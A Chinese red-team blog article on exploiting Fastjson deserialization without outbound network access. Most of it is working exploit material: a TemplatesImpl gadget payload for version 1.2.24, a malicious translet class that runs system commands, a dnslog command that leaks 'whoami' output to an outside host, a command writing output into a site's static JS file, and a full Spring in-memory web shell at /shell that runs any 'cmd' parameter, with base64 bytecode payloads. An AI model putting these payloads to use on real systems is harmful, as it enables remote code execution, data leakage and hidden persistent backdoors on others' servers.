Fastjson不出网利用总结

Fastjson不出网利用总结
2023-5-8 15:1:28 Author: 红队蓝军(查看原文) 阅读量:47 收藏

前言

简单使用方法如下：

String text = "{\"name\":\"aaa\",\"age\":\"19\"}";//序列化
String text = JSON.toJSONString(obj);
//反序列化
Object ob = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
Object ob1 = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
Object ob2 = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

POC的演变过程

编写一个User类

package com.exmple;public class User {
    private String name;
    private int age;
    public User() {
        System.out.println("调用空参构造");
    }
    public User(String name, int age) {
        System.out.println("调用形参构造");
        this.name = name;
        this.age = age;
    }
    public String getName() {
        System.out.println("调用getName()");
        return name;
    }
    public void setName(String name) {
        System.out.println("调用setName()");
        this.name = name;
    }
    public int getAge() {
        System.out.println("调用getAge()");
        return age;
    }
    public void setAge(int age) {
        System.out.println("调用setAge()");
        this.age = age;
    }
    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

假设没有fastjson，我们想要序列化一个数据应该怎么写

User user = new User("lisi",20);
System.out.println(user);// User{name='lisi', age=20}

使用序列化

User user = new User("lisi", 20);
String serializedStr = JSON.toJSONString(user);
System.out.println(serializedStr);

通过parse方法进行反序列化

User user = new User("lisi", 20);
String serializedStr = JSON.toJSONString(user);
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
System.out.println("parse反序列化："+obj1);

通过parseObject进行反序列化，不指定类

User user = new User("lisi", 20);
String serializedStr = JSON.toJSONString(user);
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
System.out.println("parseObject反序列化:"+obj2);

通过parseObject,指定类

User user = new User("lisi", 20);
String serializedStr = JSON.toJSONString(user);
Object obj3 = JSON.parseObject(serializedStr,User.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);

返回结果可知：parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法

JSON.toJSONString存在3个重载方法，使用toJSONString(Object object, SerializerFeature... features)方法

User user = new User("lisi",12);
//不写User.class 让它自己去调用
String serializedStr1 = JSON.toJSONString(user,SerializerFeature.WriteClassName); 
System.out.println(serializedStr1);

发现输出中存在"@type":"com.exmple.User"，对其反序列化

User user = new User("lisi",20);
String serializedStr = JSON.toJSONString(user);
String serializedStr1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(JSON.parse(serializedStr).getClass().toString());
System.out.println(JSON.parseObject(serializedStr1).getClass().toString());

由此得出结论：不指定@type不会调用构造方法和setter 指定@type时，parse只会调用构造方法和特定setter，而parseObject会额外调用getter

最终fastjosn的poc的如下：

{"@type":"java.net.InetAddress","val":"example.com"}

面试必问，fastjson不出网利用

TemplatesImpl利用链

版本 1.2.24 苛刻条件：

服务端使用parseObject()时，必须使用如下格式才能触发漏洞： JSON.parseObject(input, Object.class, Feature.SupportNonPublicField); 服务端使用parse()时，需要 JSON.parse(text1,Feature.SupportNonPublicField) 这是因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的一些属性为private 属性，要满足private属性的数据。所以比较苛刻，完全凭运气。

创建恶意类

package com.exmple;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Shell extends AbstractTranslet{
    public static void main(String[] args) {
        try {
            Runtime.getRuntime().exec("open -a calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws
            TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {
    }
}

base64加密

package com.exmple;import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Base64;
public class FiletoBase64 {
    public static String FiletoBase64(String filename) throws IOException {
        File file = new File(filename);
        FileInputStream io = new FileInputStream(file);
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        byte[] buf = new byte[10240];
        int len;
        while ((len = io.read(buf)) > 0) {
            os.write(buf, 0, len);
        }
        io.close();
        String s = Base64.getEncoder().encodeToString(os.toByteArray());
        return s;
    }
}

主类

package com.exmple;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
public class Demo {
    public static void main(String[] args) {
        String shell = null;
        try {
            shell = FiletoBase64.filetoBase64("/Users/ajie/Desktop/fastjson/target/classes/com/exmple/Shell.class");
        } catch (IOException e) {
            e.printStackTrace();
        }
        String payload1 = " {\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+shell+"\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        System.out.println(payload1);
        JSONObject obj = JSON.parseObject(payload1, Feature.SupportNonPublicField);
        System.out.println(obj);
    }
}

如何让它有回显？ dnslog外带，网站目录写文件/静态资源（需要知道网站路径）这一种就是利用dnslog获取数据

package com.exmple;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Shell extends AbstractTranslet{
    public static void main(String[] args) {
        try {
            Runtime.getRuntime().exec("ping `whoami`.xxxxxx.dnslog.cn");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws
            TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {
    }
}

第二种就是对静态资源写入内容，这种就像shiro攻击，他会把回显的内容写入到首页下的任意数字开头的js里

假设已经知道网站路径，拼接路径/var/java_vuln_code-master/src/main/resources/static/js/consoleinfo.js

package com.exmple;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Shell extends AbstractTranslet{
    public Shell() {
        try {
            Runtime.getRuntime().exec("whoami >> /var/java_vuln_code-master/src/main/resources/static/js/consoleinfo.js");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {
    }
}

转换字节码class文件，并base64加密

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQASTGNvbS9leG1wbGUvU2hlbGw7AQANU3RhY2tNYXBUYWJsZQcAKwcAKQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAKU2hlbGwuamF2YQwACQAKBwAuDAAvADABAFF3aG9hbWkgPj4gL3Jvb3QvamF2YV92dWxuX2NvZGUtbWFzdGVyL3NyYy9tYWluL3Jlc291cmNlcy9zdGF0aWMvanMvY29uc29sZWluZm8uanMMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEAEGNvbS9leG1wbGUvU2hlbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAALAAQADQANABAAEAAOABEADwAVABEADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

TemplatesImpl内存马

搭建spring框架的内存马

pom.xml

<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-web</artifactId>
  <version>5.1.9.RELEASE</version>
</dependency>
<dependency>
  <groupId>javax.servlet</groupId>
  <artifactId>javax.servlet-api</artifactId>
  <version>4.0.1</version>
</dependency>
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-webmvc</artifactId>
  <version>5.0.14.RELEASE</version>
</dependency>
package com.exmple;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;
//回显spring Controller内存马
public class TemplatesImplSpringController extends AbstractTranslet {
    public TemplatesImplSpringController() throws Exception{
        super();
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Method method2 = TemplatesImplSpringController.class.getMethod("test");
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
        mappingHandlerMapping.registerMapping(info, inject, method2);
    }
    public TemplatesImplSpringController(String aaa) {
    }
    public void test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    public static void main(String[] args) {
        try {
            new TemplatesImplSpringController();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQA/AoAPwCDCgCEAIUIAIYLAIcAiAcAiQcAigsABQCLCACMCgALAI0IAI4HAI8KAAsAkAoAkQCSBwCTCABZCgALAJQHAJUHAJYIAJcKABEAmAcAmQcAmgoAFQCbBwCcCgAYAJ0IAFcKAA4AngoABgCfBwCgCgAdAKEKAB0AoggAowsApAClCwCmAKcIAKgIAKkKAKoAqwoAEgCsCACtCgASAK4HAK8IALAIALEKACkAmAgAsggAswcAtAoAKQC1CgC2ALcKAC8AuAgAuQoALwC6CgAvALsKAC8AvAoALwC9CgC+AL8KAL4AwAoAvgC9CwCmAMEHAMIKAA4AgwoAPADDBwDEAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMY29tL2V4bXBsZS9UZW1wbGF0ZXNJbXBsU3ByaW5nQ29udHJvbGxlcjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAHbWV0aG9kMgEAA3VybAEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAAm1zAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAEaW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEABmluamVjdAEACkV4Y2VwdGlvbnMBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAANhYWEBABJMamF2YS9sYW5nL1N0cmluZzsBAAR0ZXN0AQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQABbwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAEYXJnMAEABndyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAA1TdGFja01hcFRhYmxlBwCTBwDFBwDGBwCWBwDHBwCvBwC0BwDCAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAyAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAiVGVtcGxhdGVzSW1wbFNwcmluZ0NvbnRyb2xsZXIuamF2YQwAQABBBwDJDADKAMsBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHAMwMAM0AzgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwAzwDQAQBEb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuc2VydmxldC5oYW5kbGVyLkFic3RyYWN0SGFuZGxlck1ldGhvZE1hcHBpbmcMANEA0gEAEmdldE1hcHBpbmdSZWdpc3RyeQEAD2phdmEvbGFuZy9DbGFzcwwA0wDUBwDVDADWANcBAChjb20vZXhtcGxlL1RlbXBsYXRlc0ltcGxTcHJpbmdDb250cm9sbGVyDADYANQBAEZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQAQamF2YS9sYW5nL1N0cmluZwEABi9zaGVsbAwAQAB8AQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDABAANkBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDABAANoMAEAAVgwA2wDcAQBAb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1NlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwwA3QDeDADfAOABAANjbWQHAMUMAOEA4gcAxgwA4wDkAQAAAQAHb3MubmFtZQcA5QwA5gDiDADnAOgBAAN3aW4MAOkA6gEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDADrAOwHAO0MAO4A7wwAQADwAQACXEEMAPEA8gwA8wD0DAD1AOgMAPYAQQcAxwwA9wBWDAD4AEEMAPkA+gEAE2phdmEvbGFuZy9FeGNlcHRpb24MAPsAQQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABNqYXZhL2lvL1ByaW50V3JpdGVyAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEACWdldE1ldGhvZAEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEAD3JlZ2lzdGVyTWFwcGluZwEAQShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOylWAQAKZ2V0UmVxdWVzdAEAKSgpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACooKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAFd3JpdGUBAAVmbHVzaAEACXNlbmRFcnJvcgEABChJKVYBAA9wcmludFN0YWNrVHJhY2UAIQAOAD8AAAAAAAYAAQBAAEEAAgBCAAABLQAJAAkAAACHKrcAAbgAAhIDA7kABAMAwAAFTCsSBrkABwIAwAAGTRIIuAAJEgoDvQALtgAMTi0EtgANEg4SDwO9AAu2ABA6BLsAEVkEvQASWQMSE1O3ABQ6BbsAFVkDvQAWtwAXOga7ABhZGQUZBgEBAQEBtwAZOge7AA5ZEhq3ABs6CCwZBxkIGQS2AByxAAAAAgBDAAAAMgAMAAAAGQAEABsAEwAdAB8AHgAuAB8AMwAgAEAAIQBSACIAXwAjAHEAJAB8ACUAhgAnAEQAAABcAAkAAACHAEUARgAAABMAdABHAEgAAQAfAGgASQBKAAIALgBZAEsATAADAEAARwBNAEwABABSADUATgBPAAUAXwAoAFAAUQAGAHEAFgBSAFMABwB8AAsAVABGAAgAVQAAAAQAAQA8AAEAQABWAAEAQgAAAD0AAQACAAAABSq3AAGxAAAAAgBDAAAACgACAAAAKAAEACoARAAAABYAAgAAAAUARQBGAAAAAAAFAFcAWAABAAEAWQBBAAIAQgAAAdcABgAIAAAAzbgAAsAAHcAAHbYAHky4AALAAB3AAB22AB9NKxIguQAhAgBOLLkAIgEAOgQtxgCTEiM6BRIkuAAltgAmEie2ACiZACG7AClZBr0AElkDEipTWQQSK1NZBS1TtwAsOganAB67AClZBr0AElkDEi1TWQQSLlNZBS1TtwAsOga7AC9ZGQa2ADC2ADG3ADISM7YANDoHGQe2ADWZAAsZB7YANqcABRkFOgUZB7YANxkEGQW2ADgZBLYAORkEtgA6pwAMLBEBlLkAOwIApwAETrEAAQAaAMgAywA8AAMAQwAAAFIAFAAAACwADQAtABoAMAAjADEAKwAyAC8AMwAzADUAQwA2AGEAOAB8ADoAkgA7AKYAPACrAD0AsgA+ALcAPwC8AEAAvwBBAMgARADLAEMAzABFAEQAAABcAAkAXgADAFoAWwAGADMAiQBcAFgABQB8AEAAWgBbAAYAkgAqAF0AXgAHACMApQBfAFgAAwArAJ0AYABhAAQAAADNAEUARgAAAA0AwABiAGMAAQAaALMAZABlAAIAZgAAADYACP8AYQAGBwBnBwBoBwBpBwBqBwBrBwBqAAD8ABoHAGz8ACUHAG1BBwBq+AAa+QAIQgcAbgAAVQAAAAQAAQA8AAEAbwBwAAIAQgAAAD8AAAADAAAAAbEAAAACAEMAAAAGAAEAAABJAEQAAAAgAAMAAAABAEUARgAAAAAAAQBxAHIAAQAAAAEAcwB0AAIAVQAAAAQAAQB1AAEAbwB2AAIAQgAAAEkAAAAEAAAAAbEAAAACAEMAAAAGAAEAAABOAEQAAAAqAAQAAAAB